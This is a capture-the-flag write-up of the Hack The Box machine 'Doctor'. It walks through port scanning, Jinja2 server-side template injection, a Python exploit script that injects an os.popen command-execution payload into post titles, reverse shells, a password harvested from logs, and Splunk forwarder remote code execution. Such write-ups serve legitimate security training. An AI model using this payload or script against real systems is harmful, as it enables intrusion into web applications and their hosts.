Hack The Box: Doctor

Jump Ahead: EnumUserRootResources


To solve this machine, we begin by enumerating open services – finding ports 80, 8089, and 22 open. Navigating to the webserver on port 80, we find a website appearing to be hosted for healthcare providers. Looking around the site, we find a potential hostname. Navigating to the webserver again, using the hostname, we are presenting with a login form for “Doctor Secure Messaging”. After viewing the source code, we find a commented out link to /archive. The /archive is vulnerable to Server-Side Template Injection (SSTI), which we are able to exploit after we log in. Exploiting the SSTI, we get a reverse shell as web. web is a member of the adm group, and after looking through logs, we are able to get the password for the shaun user – getting user.txt. Attempting to use shaun‘s credentials on port 8089, allows us access to splunk forwarders. Since splunk forwarders are running as root, we able able to use shaun‘s access to exploit Remote Code Execution – getting a shell as root, and reading root.txt.


Like all machines, we begin by enumerating all open ports using nmap – finding ports 22, 80, and 8089 open.

$ sudo nmap v -p- -sV -A -oA enum/nmap/tcp-all-scripts
# Nmap 7.91 scan initiated Mon Jan  4 14:22:43 2021 as: nmap -v -p- -sV -A -oA enum/nmap/tcp-all-scripts
Nmap scan report for
Host is up (0.045s latency).
Not shown: 65532 filtered ports
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-06T15:57:27
| Not valid after:  2023-09-06T15:57:27
| MD5:   db23 4e5c 546d 8895 0f5f 8f42 5e90 6787
|_SHA-1: 7ec9 1bb7 343f f7f6 bdd7 d015 d720 6f6f 19e2 098b
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (92%), Linux 5.0 - 5.4 (91%), Linux 5.3 - 5.4 (91%), Linux 2.6.32 (91%), Linux 5.0 (90%), Linux 5.0 - 5.3 (90%), Linux 5.4 (90%), Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 25.839 days (since Wed Dec  9 18:17:38 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
1   45.51 ms
2   45.60 ms

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan  4 14:25:24 2021 -- 1 IP address (1 host up) scanned in 161.89 seconds

Next, we run gobuster and nikto against the webserver on port 80, however, they do not return anything of interest. Lastly, we take a look at port 8089, as nmap also reveals this to be a webserver. Running gobuster and nikto against this port also does not reveal anything of immediate interest.

Getting User

Going to the webserver on port 80 reveals what appears to be a website for a doctors office.

While looking around the website, we find a potential domain name on the /departments.html page – which we add to our /etc/hosts file.

After trying to access the webserver using the newly discovered domain name, we are presented with a different website. What we are presented with is a login form for “Doctor Secure Messaging”. Next, we look at the source code to try to gain insight into what type of application platform it might be. In doing so, we find a commented reference to an archive feature that is in beta testing.

Next, we attempt to navigate to http://doctors.htb/archive, however, it’s a blank page. Since the page does have a title, and doesn’t show an error message or the like, we take a look at the source to see what is there. Doing so, we see XML and HTML tags. Since the page was documented as in beta, we move on as it may be used as part of another feature of the site.

Going back to the main page (where the login form is), we see links for “Forgot password?” and “Sign Up Now”. Since password reset will require knowledge/bruteforce of registered email addresses, we instead try creating an account. After doing so, we are forwarded to the home page, where we are given a few options – “New Message”, “Account”, and “Logout”.

Clicking the “Account” link takes us to a page where we can change our username and email address – nothing of much use at this time. Next, we check the “New Message” link, and try to create a post. Once we create a post, we check the previously found archive, since it would be reasonable that messages would be archived. Doing so, we see that our post title is reflected on the page (can only be seen via the source code).

Since the title is reflected into the archive, we can try various injections. The first we will try is template injection, since the archive seems be structured in some way. Since the post title is the potentially vulnerable field, we try placing {{7*7}} in it. If the archive is vulnerable to template injection, we should see 49 reflected in it. After submitting the form, we do see 49 reflected.

Next, we identify the template engine as Jinja2. For more information, see payloadsallthethings. Since the archive is vulnerable to Server-Side Template Injection (SSTI), we should now be able to exploit it to get a shell on the machine. For this, I used the opportunity to practice my python, so I wrote a script.

#!/usr/bin/env python3

# ssti-exploit.py by Khaotic

import re
import requests
import sys

email = "test@a.com"
user = "test"
passw = "test"

register = "http://doctors.htb/register"
login = "http://doctors.htb/login"
posturl = "http://doctors.htb/post/new"
readurl = "http://doctors.htb/archive"

if len(sys.argv) < 2:
    print("Please supply a command")

#create the account and session
rdata = {"username":user,"email":email,"password":passw,"confirm_password":passw,"submit":"Sign+Up"}
s = requests.Session()
s.post(register, data=rdata)

#login and get a usuable session token
ldata = {"email":email,"password":passw,"submit":"Login"}

#run commands
cmd = " ".join(sys.argv[1:])
pdata = {"title":"{{config.__class__.__init__.__globals__['os'].popen('"+cmd+"').read()}}","content":"asdasda","submit":"Post"}

#fetch command output
read = s.get(readurl).text

output = re.findall("<title>(.*?)</title>",read,re.DOTALL)

Using the script, I was able to get a reverse shell as the web user using bash.

Having gotten a shell as a non-standard user, the first thing we do is look for user.txt, however, it is owned by shaun. Since we are in the adm group, we have access to read most log files under /var/log/. While looking at /var/log/apache2/backup, we see what might be a password in a HTTP “GET” request. After trying the password with su as shaun, we are given a new shell. We are now shaun and can read user.txt.

Getting Root

After getting a shell as shaun, we continue with local enumeration running scripts such as LinPEAS, however, that doesn’t prove immediately fruitful. Remembering that Splunk is running on the box, we look a little closer at it, since it is a non-standard application. Taking a look around the /opt/forwarder folder, we learn it is running version 8.05. After some research on Spunk, we find this article, which suggests we may be able to exploit authenticated RCE. Within the article, it links to a tool that performs the exploit – PySplunkWhisperer2. From our initial nmap scan, we know that Splunk is listening on port 8089, so we can attempt to use the script. For our POC, we try to execute a download of a file named as the executing user. Since the exploit is authenticated, we need to use the only set of credentials we have – shaun‘s.

Since the server attempts to download a file named root, we know the application is vulnerable, and running as root. Lastly, we can weaponize the exploit for a bash reverse shell. We get a reverse shell as root, and can now read root.txt.

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!